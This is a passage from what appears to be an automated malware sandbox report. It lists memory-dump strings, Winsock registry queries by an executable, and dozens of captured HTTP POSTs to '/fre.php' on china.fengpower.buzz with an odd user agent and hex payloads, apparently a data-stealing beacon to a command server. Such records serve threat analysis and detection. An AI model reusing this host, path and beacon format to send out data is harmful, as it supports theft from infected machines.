Source: "00000000-00002664.00000001.68174.034B0000.00000004.mdmp, 00000000-00002664.00000002.70094.034B0000.00000004.mdmp, 00000000-00002664.00000003.77520.034B0000.00000004.mdmp") Found string "MSAFD NetBIOS [\Device\NetBT_Tcpip6_{90A066FE-591C-47F3-850D-9644B684FBA5}] DATAGRAM 2" (Indicator: "\Device\"; Source: "00000000-00002664.00000001.68174.034B0000.00000004.mdmp, 00000000-00002664.00000002.70094.034B0000.00000004.mdmp, 00000000-00002664.00000003.77520.034B0000.00000004.mdmp") Found string "MSAFD NetBIOS [\Device\NetBT_Tcpip6_{90A066FE-591C-47F3-850D-9" (Indicator: "\Device\"; Source: "00000000-00002664.00000001.68174.034B0000.00000004.mdmp, 00000000-00002664.00000002.70094.034B0000.00000004.mdmp, 00000000-00002664.00000003.77520.034B0000.00000004.mdmp")3a:Ta0e,".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000008"; Key: "PACKEDCATALOGITEM"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000009"; Key: "PACKEDCATALOGITEM"; Value: "")3b:T7b23,"POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 192 Connection: close" with payload::==> "12002700000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B70200000000010000000600010001006B000000010000000000000000000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200050000006A4648643500000000" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:01 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VVkfyKSkK2kK8R5uMAj%2FbBSbDW4zSs%2BYeXOATSrKLjoS8xpwb%2F42YEUJyPxOZ5TRmLxC2DOrgVfmuKsGfwAVDuhlpjajG0ERdhpYnYH3kuJ6ubIBNgPunzMzq0ane1q%2B1bUAKlmpUA%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0cbf6b78ce38-SJC alt-svc: h3=":443"; ma=86400 with response body ==>46696C65206E6F7420666F756E642E....... "POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 192 Connection: close" with payload::==> "12002700000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B7020000000001000000060001000100C62B010001000000000000000000000001003000000036003800390037003100310030004200350032004300310036003600450037004600320030004600420046003000420005000000694644453100000000" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:04 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2FyGk2Gw5%2Br5awNQeCqgC8WtL2Xm%2BUCMZUx7RXMxxit5oqzU0UDtc9pvsuFVG8aC7QwO7WA%2BsPAxrZi6LkYkIxvhQmWcAatRzkIodBubIlFl62651%2BUXlucwn5LjeC3RDOp6g68QQyQ%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0cd5ff70f99b-SJC alt-svc: h3=":443"; ma=86400 with response body ==>46696C65206E6F7420666F756E642E....... "POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 165 Connection: close" with payload::==> "12002800000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B70200000000010000000600010001000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:07 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2BfEZhkqE2uTPmX9aKBnZ1CkTKlhbOZXhoUH3H5waaMQ2LZKlqnm7H97QMNdHDVl3WToP7FPQbVjnjsjK3Jz%2FLFc3whfaaqzfzgfCHEQIfnHJtUh0i2nok7SpxoijU5DPwGeeZsiMLA%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0ce50eacce50-SJC alt-svc: h3=":443"; ma=86400 with response body ==>080000000000000046696C65206E6F7420666F756E642E....... "POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 165 Connection: close" with payload::==> "12002800000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B70200000000010000000600010001000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:09 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YFqVNx%2FFGqB3n7SumsQtbbAyysFOa8D4EPangSeJAR0cFIsndk%2FSDlEUGT1JoHpFObgOA0B2WCLFipwoTExp9rbz6LX6yP9GYvuupsHCsMbxJ%2Fr9HqJi9iFfG%2FgmhhV38MEHY%2BnXTA%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0cf079461566-SJC alt-svc: h3=":443"; ma=86400 with response body ==>080000000000000046696C65206E6F7420666F756E642E....... "POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 165 Connection: close" with payload::==> "12002800000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B70200000000010000000600010001000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:10 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=S%2BEj2MQ2zj66H3whGpi3WTtilcM7lyqHyQh1mJLlBTIbaYiLJi%2BAmZPliS52bAhqUU2e%2Frt2E2%2BGyNSj9L3BePGN1DY%2BcgagpNemVmEZqIvo%2FFwtovrP%2B1%2FH9sjy4IZ6LnJxORdnwA%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0cfbff3aceb9-SJC alt-svc: h3=":443"; ma=86400 with response body ==>080000000000000046696C65206E6F7420666F756E642E....... "POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 165 Connection: close" with payload::==> "12002800000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B70200000000010000000600010001000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:12 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=OQzuiJyxBJbkt6A4%2FOWiufhRy5IayqfOW9O9SO1W%2BUvoHKjm3OaDk9ZLZgxaQlFtUByd9bJdAgKGRLyg9bD8rda2tZt6GlHCXHVQyWvb%2BAZSO9%2BL1N9FZEtWoG0sAOi0bmfasB4Z6A%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0d06e91ccf29-SJC alt-svc: h3=":443"; ma=86400 with response body ==>080000000000000046696C65206E6F7420666F756E642E....... "POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 165 Connection: close" with payload::==> "12002800000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B70200000000010000000600010001000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:14 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5TzVe81S%2B8tX%2BIYuszzh0UldCcnD5TpOcnr%2FA3n92tT%2BsOOnXL2pxh1LCA86b3cRU6fJ8BEPt%2FhKwDCk7k97dOEGMFg7%2FN4DkArWqQPU%2BcfxxwftxQCPTgvQ%2BqnyVtB6FpUF1xwZsg%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0d11ea4bfade-SJC alt-svc: h3=":443"; ma=86400 with response body ==>080000000000000046696C65206E6F7420666F756E642E....... "POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 165 Connection: close" with payload::==> "12002800000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B70200000000010000000600010001000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:16 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2Fxz1p9cbEAmR9R5yI4jk0xwZ9RRO3oKkAvghdlPtqbgmNCd1vmKEd4yNcgjb6RPLdbUoNmJ9jxgnOaGrWjQsgzC%2B3oXyLF1t0WO1NAb%2FSLjMLDt0GMvL6aTiWwYnPWhd4%2FUDSla%2F8g%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0d1d7858d03d-SJC alt-svc: h3=":443"; ma=86400 with response body ==>080000000000000046696C65206E6F7420666F756E642E....... "POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 165 Connection: close" with payload::==> "12002800000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B70200000000010000000600010001000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:18 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=33cNmjEQ2CG%2FAv%2FuNe0%2Bx1tsn%2BJk7XWmdcFomFwlf4AKp1Rpw%2B3o27ALu9kYul88RjlqSqkwOUXnrhN4v54Cw93l4s5IKZKjD8GX6ZXIm2WKSnjGDdvotxJgZH%2ByDv3SJvmSPFH8Uw%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0d28edfb2578-SJC alt-svc: h3=":443"; ma=86400 with response body ==>080000000000000046696C65206E6F7420666F756E642E....... "POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 165 Connection: close" with payload::==> "12002800000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B70200000000010000000600010001000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:19 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=1gNwQYjpdNxpwCX%2F64PmnyEE0Rkh5tEW6e1H%2BNz62%2FkSGrF8AZvaN%2BAeVjZELMweMG3STrxO7KiibMvPTZMDIgUXuc0yplUaIcAh2W54nzEDEOcmmEDwdmyn3D6qCELmpFTlea99eA%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0d345ef79e64-SJC alt-svc: h3=":443"; ma=86400 with response body ==>080000000000000046696C65206E6F7420666F756E642E....... "POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 165 Connection: close" with payload::==> "12002800000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B70200000000010000000600010001000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:21 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ILh7FOBcF5JMhxVYfw8Sjnn74HKy9fg5pTkf%2B%2F0lTdmG1BNcoe7fpYLD96DizN8VxSPaEubdiDP3CT0tK%2FPhvbFcMl1f2KhbA9l%2F1W8UcI6NYtlIFBP8SuB%2BWBvENR41fJjupG9yWA%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0d3feab71696-SJC alt-svc: h3=":443"; ma=86400 with response body ==>080000000000000046696C65206E6F7420666F756E642E....... "POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 165 Connection: close" with payload::==> "12002800000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B70200000000010000000600010001000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:23 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uBk8lq%2BUTp%2BrQNUOzfXTGh5G4s5yShjKTbRd1Qdyu8mNfpXhD7bUnqkq3vC8RURIUmXWFq4u8UsB%2B8MMzant%2BOeA34cNvBDum8lZ0NtIUavmWQlwP%2BCZ5GUh7%2BPcZfRzxYRCOcF8Sw%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0d4c985f168c-SJC alt-svc: h3=":443"; ma=86400 with response body ==>080000000000000046696C65206E6F7420666F756E642E....... "POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 165 Connection: close" with payload::==> "12002800000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B70200000000010000000600010001000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:25 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Le%2FPnNemzr6TsCiK3qQ27u6RMobI7mQBcaVlav8O0IDGYozAMO1UYaN5cix3E0fXDbYwqfQWkmUIhTkoH2p9FfXuxfqoNvtAY0ESNqlBRPmnnuY1oWrjzE8LJicPo8OsacCYZC3hkA%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0d584f8715fb-SJC alt-svc: h3=":443"; ma=86400 with response body ==>080000000000000046696C65206E6F7420666F756E642E....... "POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 165 Connection: close" with payload::==> "12002800000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B70200000000010000000600010001000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:27 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=07ArZsrru6A0k8ZJRLp7sfUrlGY5Ar08en2xh%2FLPei0LjTjzyjCE%2FVkC4bWUw4WDcSorJ5LF4IH2Nmx%2B0XBveOQLwU0w5U4tborYZcxv40XaUhE5mf1MLpG3Gr78hwS7xZ2AFmamjQ%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0d6448c82350-SJC alt-svc: h3=":443"; ma=86400 with response body ==>080000000000000046696C65206E6F7420666F756E642E....... "POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 165 Connection: close" with payload::==> "12002800000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B70200000000010000000600010001000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:29 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=RiNXjBab6NtGwA5tT44HFFjgDAxObNJ7hiolOk%2B7QEw32f1ZslYsu%2B87kYwOEsvSREMoE1KEbp1iI4wMV497ZVnygRvkPgOFXHNSN0FfXVUO7JtdK4Ubahi5HT7epYrK3ZorJjqG%2Fw%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0d6f7bd517e8-SJC alt-svc: h3=":443"; ma=86400 with response body ==>080000000000000046696C65206E6F7420666F756E642E....... "POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 165 Connection: close" with payload::==> "12002800000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B70200000000010000000600010001000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:31 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=3GrwCipx%2FGEG5GZdJVZSi8ftTVuhnAnVcRSPP7db0C6ecmdxSsdTlRaxEbNX8rL36E0eC9N1ovPCiMnh6lF%2Bq1A3fQYtsZFQMS4d7JzjzyU9hhntnBlJl9EdtdL4Y2ahwTi9BYVP3A%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0d7a6fea643b-SJC alt-svc: h3=":443"; ma=86400 with response body ==>080000000000000046696C65206E6F7420666F756E642E....... "POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 165 Connection: close" with payload::==> "12002800000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B70200000000010000000600010001000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:32 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Ibuzy1iZUB3QMcoIkE%2B806RI0YRflTYaC7f2ZppAsQYdRuk0MBlfS%2FounNJOoMYkPpoHPARZKgPtVJgsTkLMXVW7qC%2Fa5HA%2FBxxhHSKRzNn%2FfhbVKgkdhGTTLKGli3LdY1uKxWDo0g%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0d86194e1567-SJC alt-svc: h3=":443"; ma=86400 with response body ==>080000000000000046696C65206E6F7420666F756E642E....... "POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 165 Connection: close" with payload::==> "12002800000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B70200000000010000000600010001000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:34 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=D89yoy3b6e0Iho8ATHIbPkVm5WesHiXqQOTRJU%2F6bJFNIMSFMeCjcwTjAmMVMjajCjdXZ30I%2FTV1nr37RG50a%2Bc4a%2FQldjMXpUHhnJqUwet88ohsivk6Z4tn4pClXJITkuArhseXEQ%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0d9108a4234f-SJC alt-svc: h3=":443"; ma=86400 with response body ==>080000000000000046696C65206E6F7420666F756E642E....... "POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 165 Connection: close" with payload::==> "12002800000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B70200000000010000000600010001000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:36 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fOkkbwNPsI0Te6rfM5N%2FUpmwyk8NImV%2Bl2PKYDxWvP%2Bs9hI7sCB4cPQ4atIIcPputm2bU%2FZqVivCVPG1iUPLiTlfpt1HSeeF%2BZXkruBXHmJrl57VnkYsYB8gRrqSubL0aBzvHQLt2g%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0d9cacd41568-SJC alt-svc: h3=":443"; ma=86400 with response body ==>080000000000000046696C65206E6F7420666F756E642E....... "POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 165 Connection: close" with payload::==> 